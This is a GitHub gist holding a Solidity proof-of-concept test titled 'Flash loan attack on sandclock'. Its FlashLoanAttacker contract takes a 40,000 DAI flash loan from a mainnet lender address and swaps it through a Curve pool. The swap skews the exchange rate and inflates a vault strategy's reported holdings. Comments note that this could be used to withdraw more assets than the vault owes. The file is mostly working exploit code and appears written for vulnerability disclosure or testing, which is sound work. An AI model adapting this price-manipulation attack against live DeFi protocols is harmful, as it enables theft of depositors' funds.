-
-
Save CamdenClark/932d5fbeecb963d0917cb1321f754132 to your computer and use it in GitHub Desktop.
Flash loan attack on sandclock
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: Unlicense | |
pragma solidity 0.8.10; | |
import "ds-test/test.sol"; | |
import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
import "../Vault.sol"; | |
import "../strategy/NonUSTStrategy.sol"; | |
import "../strategy/anchor/IEthAnchorRouter.sol"; | |
import "../strategy/anchor/IExchangeRateFeeder.sol"; | |
import "../strategy/curve/ICurve.sol"; | |
import "../mock/MockERC20.sol"; | |
import "../mock/MockEthAnchorRouter.sol"; | |
import "../mock/MockExchangeRateFeeder.sol"; | |
import "./interfaces/IERC3156FlashBorrower.sol"; | |
import "./interfaces/IERC3156FlashLender.sol"; | |
contract FlashLoanAttacker is IERC3156FlashBorrower, DSTest { | |
IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); | |
IERC20 ust = IERC20(0xa47c8bf37f92aBed4A126BDA807A7b7498661acD); | |
ICurve curvePool = ICurve(0x890f4e345B1dAED0367A877a1612f86A1f86985f); | |
IERC3156FlashLender lender = IERC3156FlashLender(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853); | |
Vault vault; | |
uint256 flashLoanAmount = 40000 ether; | |
constructor(Vault _vault) { | |
vault = _vault; | |
} | |
function flashBorrow() public { | |
// This just sets up the repayment of the flash loan | |
uint256 _allowance = dai.allowance(address(this), address(lender)); | |
uint256 _fee = lender.flashFee(address(dai), flashLoanAmount); | |
uint256 _repayment = flashLoanAmount + _fee; | |
dai.approve(address(lender), _allowance + _repayment); | |
// Here's where we trigger the flash loan. | |
lender.flashLoan(this, address(dai), flashLoanAmount, ""); | |
// See onFlashLoan | |
} | |
function onFlashLoan( | |
address initiator, | |
address token, | |
uint amount, | |
uint fee, | |
bytes calldata data | |
) external override returns (bytes32) { | |
// Baseline total underlying | |
emit log_uint(vault.totalUnderlying()); | |
// We exchange a ton of dai for ust, causing a significant | |
// change in their curve exchange rate | |
dai.approve(address(curvePool), flashLoanAmount); | |
curvePool.exchange_underlying(1, 0, flashLoanAmount, 0); | |
// Significantly higher! We could do a lot of nasty things here: withdraw | |
// more assets than we should be at a "real" exchange rate | |
emit log_uint(vault.totalUnderlying()); | |
// Transfer back | |
ust.approve(address(curvePool), flashLoanAmount); | |
curvePool.exchange_underlying(0, 1, flashLoanAmount - (flashLoanAmount / 100), 0); | |
return keccak256("ERC3156FlashBorrower.onFlashLoan"); | |
} | |
} | |
interface Vm { | |
// Performs the next smart contract call with specified `msg.sender`, (newSender) | |
function prank(address) external; | |
} | |
contract FlashLoanTest is DSTest { | |
IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); | |
IERC20 ust = IERC20(0xa47c8bf37f92aBed4A126BDA807A7b7498661acD); | |
IERC20 aust = new MockERC20(10000 ether); | |
ICurve curvePool = ICurve(0x890f4e345B1dAED0367A877a1612f86A1f86985f); | |
IERC3156FlashLender lender = IERC3156FlashLender(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853); | |
Vm vm = Vm(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); | |
function setUp() public { | |
} | |
function testExample() public { | |
Vault vault = new Vault(dai, 100, 0, address(this)); | |
IEthAnchorRouter ethAnchorRouter = new MockEthAnchorRouter(ust, aust); | |
MockExchangeRateFeeder mockExchangeRateFeeder = new MockExchangeRateFeeder(); | |
mockExchangeRateFeeder.setExchangeRate(1e18); | |
NonUSTStrategy strategy = new NonUSTStrategy(address(vault), | |
address(0), | |
address(ethAnchorRouter), | |
address(mockExchangeRateFeeder), | |
ust, | |
aust, | |
0, | |
address(this), | |
address(curvePool), | |
1, | |
0); | |
vault.setStrategy(address(strategy)); | |
// All the setup above just establishes that we create a vault with DAI underlying | |
FlashLoanAttacker attacker = new FlashLoanAttacker(vault); | |
// Mock add some DAI to our attacker. | |
vm.prank(0x075e72a5eDf65F0A5f44699c7654C1a76941Ddc8); | |
dai.transfer(address(attacker), 1000 ether); | |
// We transfer our "aust" token to the strategy as a mock investment | |
// The amount that the strategy contract thinks is invested will be | |
// manipulated using a flash loan. | |
aust.transfer(address(strategy), 1000 ether); | |
// Now, we trigger a flash loan. | |
attacker.flashBorrow(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment